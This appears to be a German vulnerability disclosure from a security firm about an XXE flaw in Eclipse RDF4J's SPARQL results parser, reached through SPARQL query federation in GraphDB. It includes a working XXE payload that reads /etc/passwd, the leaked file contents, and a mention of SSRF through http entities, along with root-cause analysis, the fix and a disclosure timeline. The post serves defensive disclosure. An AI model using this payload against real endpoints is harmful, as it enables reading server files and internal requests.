DIETRICH infosec solutions GmbH
IT-Security – Simplified // Zero compromises
Research · Vulnerability Disclosure

Eine acht Jahre alte XXE, versteckt in einem vergessenen Branch.

Wir haben eine kritische XXE-Schwachstelle in Eclipse RDF4J entdeckt, dem Referenz-Framework für RDF in Java. Der Weg dorthin führte von einem Bug-Bounty-Fund über eine aktuelle GraphDB-Instanz bis zu einer acht Jahre alten Schwachstelle, die ein Fix aus dem Jahr 2018 nie vollständig geschlossen hatte – wegen eines Refactorings, das einen XML-Parser in zwei Branches aufteilte und nur einen davon absicherte.

research@disec:~$ cat CVE-2026-15803.md
// Inhalt
// 01

Ein Server-Side-Request über SPARQL

Vor einigen Monaten stießen wir im Rahmen eines Bug-Bounty-Programms auf einen öffentlichen SPARQL-Endpoint. Wir kannten SPARQL bereits und wussten, dass eine der Kernfunktionen der Technologie die Query-Federation ist: Der Server greift auf eine andere Datenbank zu, um Informationen zu beziehen. Das geschieht mit dem Schlüsselwort SERVICE:

HTTP-Request
GET /query?query=SELECT * WHERE { SERVICE <https://my-server/> { ?s ?p ?o } } LIMIT 1
HTTP-Response
HTTP/2 500
Query evaluation error: Server responded with an unsupported file format: application/octet-stream

Das ist beabsichtigtes Verhalten und keinen Bug-Report wert. Interessanter wurde es allerdings, als wir den Request prüften, der an unseren Testserver ging:

Vom Testserver empfangener Request
POST / HTTP/1.1
Accept: text/csv;q=0.8, application/x-sparqlstar-results+json;q=0.8,
        application/sparql-results+json;q=0.8, application/json;q=0.8,
        application/sparql-results+xml;q=0.8, application/xml;q=0.8, ...
User-Agent: Apache-HttpClient/4.5.14 (Java/21.0.10)

Der Accept-Header des Clients enthält application/sparql-results+xml, was bedeutet, dass er bereit ist, benutzergesteuertes XML zu parsen.

// 02

Ein kurzer Exkurs: RDF, SPARQL und XMLs externe Entitäten

RDF ist ein Datenmodell, das Wissen als Triples speichert: Subjekt, Prädikat, Objekt. „Dieses Manuskript – wurde geschrieben in – Basel." Ketten von Triples ergeben einen Graphen. RDF ist das Datenmodell hinter den meisten Linked Data und wird häufig in der Infrastruktur von Bibliotheken, Museen und Archiven eingesetzt.

SPARQL ist die zugehörige Abfragesprache. Um jedes Subjekt-Objekt-Paar zu erhalten, das über das Prädikat „writtenIn" verbunden ist, würde man Folgendes ausführen:

SPARQL
SELECT ?manuscript ?place WHERE {
  ?manuscript <http://example.org/writtenIn> ?place .
}

SPARQL Results XML ist ein Format für die Antwort. Es ist ein schlanker XML-Umschlag: eine Liste von Variablennamen, danach eine Zeile pro Ergebnis.

SPARQL Results XML
<?xml version="1.0"?>
<sparql xmlns="http://www.w3.org/2005/sparql-results#">
  <head>
    <variable name="manuscript"/>
    <variable name="place"/>
  </head>
  <results>
    <result>
      <binding name="manuscript">
        <uri>http://example.org/thisManuscript</uri>
      </binding>
      <binding name="place">
        <literal>Basel</literal>
      </binding>
    </result>
  </results>
</sparql>

Wie zuvor erklärt, können wir dem Dienst dank des SERVICE-Schlüsselworts beliebiges SPARQL Results XML zum Parsen übergeben. Wer sich mit Application Security beschäftigt, ahnt vermutlich schon, worauf das hinausläuft…

XXE! Das steht für XML External Entity Processing und beschreibt, was passiert, wenn ein XML-Parser bereit ist, Entitäten aufzulösen, die das Dokument für sich selbst deklariert.

Entitätsdefinitionen in XML erfüllen zwei praktische Zwecke. Zum einen dienen sie als Abkürzungen. Statt eine vollständige URI immer wieder zu tippen, kann man eine Entität einmal definieren und eine Ressource anschließend über den definierten Ausdruck referenzieren – die übliche Konvention in RDF/XML, wo Entitäten für Namespace-Präfixe stehen. Nebenbei bemerkt: Erlaubt man Nutzern, solche internen Entitäten zu definieren, kann das zu DoS-Schwachstellen führen.

Zum anderen erlaubt es, extern definierte Entitäten einzubinden – und genau dieser zweite Zweck führt zu den schwerwiegenderen Schwachstellen. Betrachten wir folgendes XML:

XML
<!DOCTYPE sparql [
  <!ENTITY evil SYSTEM "/etc/passwd">
]>
...
<binding name="o"><literal>&evil;</literal></binding>

Ein Parser mit Standardeinstellungen sieht &evil;, liest daraufhin /etc/passwd und setzt den Inhalt in das Dokument ein. Wird der resultierende Wert an die Person zurückgegeben, die die Query gestellt hat, hat man ein Lesen beliebiger Dateien. Man kann eine Entität auch mit einer http://-URI definieren und erhält SSRF aus dem Datenbank-Prozess heraus.

Jeder moderne XML-Parser hat Schalter, um das abzustellen. In der Regel müssen Entwickler es aber aktiv deaktivieren, da die Standardeinstellungen oft unsicher sind. Für Security-Forscher lohnt es sich daher zu prüfen, ob die Entwickler daran gedacht haben, es abzuschalten.
// 03

„Löse /etc/passwd auf!"

Also begannen wir, den SPARQL-Endpoint auf XXE-Schwachstellen zu testen. Wir richteten einen Server ein, der gültige SPARQL-XML-Ergebnisse ausliefert, und brachte den SPARQL-Prozessor mit dem SERVICE-Schlüsselwort dazu, ihn anzusprechen. Nach einigen Fehlversuchen hosteten wir folgendes Dokument:

Gehostetes SPARQL-Results-XML-Dokument
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE sparql [
  <!ENTITY xxe SYSTEM "/etc/passwd">
]>
<sparql xmlns="http://www.w3.org/2005/sparql-results#">
  <head>
    <variable name="s"/>
    <variable name="p"/>
    <variable name="o"/>
  </head>
  <results>
    <result>
      <binding name="s"><uri>http://example.org/leak</uri></binding>
      <binding name="p"><uri>http://example.org/data</uri></binding>
      <binding name="o"><literal>&xxe;</literal></binding>
    </result>
  </results>
</sparql>

und tatsächlich enthielt der Tabelleneintrag für o:

Zurückgegebener Wert für o
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash

Wir verfassten einen Bug-Bounty-Report, er wurde angenommen, und man teilte uns mit, dass das Problem nun behoben sei. Ein kurzer Retest bestätigte den Fix.

Einige Monate später fiel uns bei der Arbeit an einem Digital-Humanities-Projekt mit einer GraphDB-Instanz im Stack ein SPARQL-Query-Endpoint auf. Aus einer Ahnung heraus beschlossen wir, ihn kurz auf ähnliche XXE-Probleme zu testen. Es funktionierte. Identisches Verhalten.

Das rückte unser Bug-Bounty-Fund in ein neues Licht. Was wir für eine Fehlkonfiguration gehalten hatten, sah plötzlich wie eine 0-Day-Schwachstelle aus.

// 04

Von GraphDB zu RDF4J

Das Produkt, das wir beruflich getestet hatte, war GraphDB, ein kommerzieller RDF-Triplestore, der mit Standardkonfiguration lief. Es ist nicht Open Source, daher bestand der erste Schritt darin, sich anzusehen, was tatsächlich mitgeliefert wird. Es ist eine JVM-Anwendung, und die JARs liegen direkt im Container-Image:

Shell
$ podman run --rm --entrypoint sh ontotext/graphdb:11.5.0 \
    -c 'ls /opt/graphdb/dist/lib | grep rdf4j-queryresultio'
rdf4j-queryresultio-api-5.3.1-jakarta.jar
rdf4j-queryresultio-binary-5.3.1-jakarta.jar
rdf4j-queryresultio-sparqljson-5.3.1-jakarta.jar
rdf4j-queryresultio-sparqlxml-5.3.1-jakarta.jar     <-- this one
rdf4j-queryresultio-text-5.3.1-jakarta.jar

GraphDB implementiert das RDF-Parsing nicht selbst. Es baut auf Eclipse RDF4J auf, dem Referenz-Java-Framework für RDF. Eine laufende Instanz verrät sogar die Version, unter RDF4Js altem Namen:

Shell
$ curl -s localhost:7200/rest/info/version
{"productType":"free","productVersion":"11.5.0","connectors":"16.8.0",
 "Ontop":"5.5.0","sesame":"5.3.1-jakarta","Workbench":"3.5.0"}

RDF4J ist Open Source, also fanden wir heraus, dass das, was unser XML parste, der AbstractSPARQLXMLParser aus RDF4J war.

// 05

Ein Blick in den Parser

Interessanterweise hatte RDF4J bereits vor acht Jahren eine XXE-Schwachstelle: CVE-2018-1000644 klang ziemlich genau nach dem Problem, das wir gefunden hatten. Die Instanzen, die wir getestet hatten, waren allerdings eindeutig nicht so alt.

Werfen wir einen Blick in den Code, um zu verstehen, was da passierte. In RDF4J 5.3.1 hat core/queryresultio/sparqlxml/src/main/java/org/eclipse/rdf4j/query/resultio/sparqlxml/AbstractSPARQLXMLParser.java einen öffentlichen Einstiegspunkt, der nicht weiß, was er gleich parsen wird:

Java · RDF4J 5.3.1
// 5.3.1, lines 60-64
@Override
public void parseQueryResult(InputStream in)
        throws IOException, QueryResultParseException, QueryResultHandlerException {
    parseQueryResultInternal(in, true, true);
}

Diese beiden Booleans sind attemptParseBoolean und attemptParseTuple. Es gibt zwei Arten von SPARQL-Queries, die Lösungen für einen gegebenen Graphen anfragen: ASK und SELECT. ASK stellt eine einfache Frage, die mit einem Boolean beantwortet werden kann (also „ja" oder „nein"). SELECT hingegen möchte als Antwort eine Multimenge von n-Tupeln, die eine gewählte Eigenschaft erfüllen. Da der Parser nicht weiß, was er bekommen hat, versucht er das eine, und wenn das fehlschlägt, das andere. Es sind also zwei Branches zu betrachten.

Branch eins — die Boolean-Antwort (Zeilen 83–179)

Java · RDF4J 5.3.1
// 5.3.1, lines 83-107 (abridged)
if (attemptParseBoolean) {
    try {
        SPARQLBooleanSAXParser valueParser = new SPARQLBooleanSAXParser();

        XMLReader xmlReader;

        if (getParserConfig().isSet(XMLParserSettings.CUSTOM_XML_READER)) {
            xmlReader = getParserConfig().get(XMLParserSettings.CUSTOM_XML_READER);
        } else {
            xmlReader = XMLReaderFactory.createXMLReader();
        }
        xmlReader.setErrorHandler(this);

        // Set all compulsory feature settings, using the defaults if they are
        // not explicitly set
        for (RioSetting<Boolean> aSetting : getCompulsoryXmlFeatureSettings()) {
            try {
                xmlReader.setFeature(aSetting.getKey(), getParserConfig().get(aSetting));
            } catch (SAXNotRecognizedException e) {
                reportWarning(...);
            }
        }
        // ... three more loops just like it

Vier Schleifen wenden verpflichtende Features, verpflichtende Properties, optionale Features und optionale Properties an. Ein CUSTOM_XML_READER wird berücksichtigt, falls der Aufrufer einen bereitgestellt hat. Die verpflichtende Liste enthält sichere Einstellungen für den XML-Parser (Zeilen 252–259):

Java · RDF4J 5.3.1
// 5.3.1, lines 252-259
public Collection<RioSetting<Boolean>> getCompulsoryXmlFeatureSettings() {
    Set<RioSetting<Boolean>> results = new HashSet<>();
    results.add(XMLParserSettings.SECURE_PROCESSING);
    results.add(XMLParserSettings.DISALLOW_DOCTYPE_DECL);
    results.add(XMLParserSettings.EXTERNAL_GENERAL_ENTITIES);
    results.add(XMLParserSettings.EXTERNAL_PARAMETER_ENTITIES);
    return results;
}

Hier sind EXTERNAL_GENERAL_ENTITIES und EXTERNAL_PARAMETER_ENTITIES standardmäßig false und DISALLOW_DOCTYPE_DECL ist true. Das ist alles, was man braucht, um eine XXE zu verhindern. Warum ist GraphDB also verwundbar? Überschreibt es die Defaults? Nein – ein kurzer Test zeigte, dass GraphDB die externe Entität bei Boolean-Result-XMLs nicht auflöste.

Branch zwei — die Tupel-Antwort (Zeilen 181–199)

Java · RDF4J 5.3.1
// 5.3.1, lines 181-199
if (attemptParseTuple) {
    try {
        XMLReader xmlReader = XMLReaderFactory.createXMLReader();
        xmlReader.setErrorHandler(this);
        internalSAXParser = new SimpleSAXParser(xmlReader);
        internalSAXParser.setPreserveWhitespace(true);

        internalSAXParser.setListener(new SPARQLResultsSAXParser(this.valueFactory, this.handler));

        internalSAXParser.parse(uncloseable);

        // we had success, so remove the exception that we were tracking
        // from
        // the boolean failure
        caughtException = null;
    } catch (SAXException e) {
        caughtException = e;
    }
}

Eine Zeile, um den Reader zu erzeugen. Sonst nichts. Die verpflichtenden Einstellungen werden nicht angewendet, die optionalen ebenso wenig, und CUSTOM_XML_READER wird nicht genutzt. Die XMLReaderFactory führt selbst kein Hardening durch. Das ist einfach ein Standard-XMLReader – und er löst externe Entitäten auf.

Zusammengefasst passiert beim Einsatz von Query-Federation zum Abrufen einer Tupel-Antwort Folgendes:

  1. Der Boolean-Branch läuft zuerst, mit all seinen Schutzmaßnahmen, und schlägt fehl, weil das Dokument kein Boolean-Result ist.
  2. Der Fehler wird abgefangen und in caughtException zwischengespeichert.
  3. Danach läuft der Tupel-Branch, mit einem Standard-Parser.
  4. &xxe; wird aufgelöst und durch den Inhalt von /etc/passwd ersetzt.
// 06

Den Fix von 2018 reparieren

Die CVE für unseren Bug ist als unvollständiger Fix für CVE-2018-1000644 eingetragen. Jene XXE von 2018 wurde in 2.4.1 durch PR #1146 behoben und deckte drei XML-Parser ab: RDFXMLParser, TriXParser und den SPARQL-Results-Parser, den ich gerade gelesen hatte.

Die ersten beiden wurden ordentlich gefixt. Sie wurden auf eine gemeinsame Basisklasse XMLReaderBasedParser verschoben, die einen konfigurierten Reader an einer Stelle aufbaut, und jeder erhielt einen Regressionstest, der ihm ein echtes bösartiges Dokument vorsetzt. Der SPARQL-Results-Parser bekam nur drei Zeilen:

Diff · PR #1146
      public Collection<RioSetting<Boolean>> getCompulsoryXmlFeatureSettings() {
              Set<RioSetting<Boolean>> results = new HashSet<RioSetting<Boolean>>();
              results.add(XMLParserSettings.SECURE_PROCESSING);
+             results.add(XMLParserSettings.DISALLOW_DOCTYPE_DECL);
+             results.add(XMLParserSettings.EXTERNAL_GENERAL_ENTITIES);
+             results.add(XMLParserSettings.EXTERNAL_PARAMETER_ENTITIES);
              return results;
      }

Vor 2018 enthielt die results-Menge nur SECURE_PROCESSING, das eine XXE nicht verhindert, sodass beide Branches verwundbar waren. Danach war der Boolean-Branch (derjenige, der die Liste liest) sicher, während der andere unangetastet blieb. Doch woher kommt die Asymmetrie zwischen dem Boolean- und dem Tupel-Branch?

Vor Commit a9cc29603f waren beide Branches identisch:

Java · vor Commit a9cc29603f
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
xmlReader.setErrorHandler(this);

Der Commit führte jedoch die Asymmetrie ein. Er wandte die verpflichtenden Einstellungen (zu diesem Zeitpunkt nur SECURE_PROCESSING) im Boolean-Branch an. Das war ein Versuch, die Bibliothek gegen eine DoS-Schwachstelle abzusichern (den Billion-Laughs-Angriff), und offenbar übersah der Entwickler, dass es tatsächlich zwei Branches gibt. Die beiden Branches drifteten weiter auseinander, und letztlich erhielt nur der Boolean-Branch den Fix für die 2018er-CVE, während der „vergessene" Tupel-Branch bis 2026 verwundbar blieb.

Die Aufteilung zu beheben war einfach genug. Version 5.3.2 lagert die Einrichtung des XMLReader in eine Methode aus, die einen standardmäßig sicheren XMLReader zurückgibt:

Java · RDF4J 5.3.2
// 5.3.2, line 165
private XMLReader getXMLReader() throws SAXException {
    XMLReader xmlReader;

    if (getParserConfig().isSet(XMLParserSettings.CUSTOM_XML_READER)) {
        xmlReader = getParserConfig().get(XMLParserSettings.CUSTOM_XML_READER);
    } else {
        xmlReader = XMLReaderFactory.createXMLReader();
    }
    xmlReader.setErrorHandler(this);

    for (RioSetting<Boolean> aSetting : getCompulsoryXmlFeatureSettings()) { ... }
    for (RioSetting<?> aSetting : getCompulsoryXmlPropertySettings()) { ... }
    for (RioSetting<Boolean> aSetting : getOptionalXmlFeatureSettings()) { ... }
    for (RioSetting<?> aSetting : getOptionalXmlPropertySettings()) { ... }

    return xmlReader;
}

und ruft sie aus beiden Branches auf:

Java · RDF4J 5.3.2
// 5.3.2, line 90  (boolean branch)
XMLReader xmlReader = getXMLReader();
// 5.3.2, line 126 (tuple branch)
XMLReader xmlReader = getXMLReader();
// 07

Behebung

GraphDB mit aktivierter Query-Federation war standardmäßig verwundbar. Wenn Sie GraphDB betreiben oder Ihr Projekt RDF4J verwendet, aktualisieren Sie auf die neuesten Versionen.
// Disclosure

Disclosure-Timeline

  • 10.06.2026Das Problem wurde an Eclipse gemeldet.
  • 19.06.2026Das Projekt kündigte in seinem internen Issue-Tracker an, das Problem zu beheben.
  • 23.06.2026Das Release von RDF4J 5.3.2 behob das Problem.
  • ausstehendEin GraphDB-Release mit der gefixten RDF4J-Version steht noch aus.
// Referenzen

Referenzen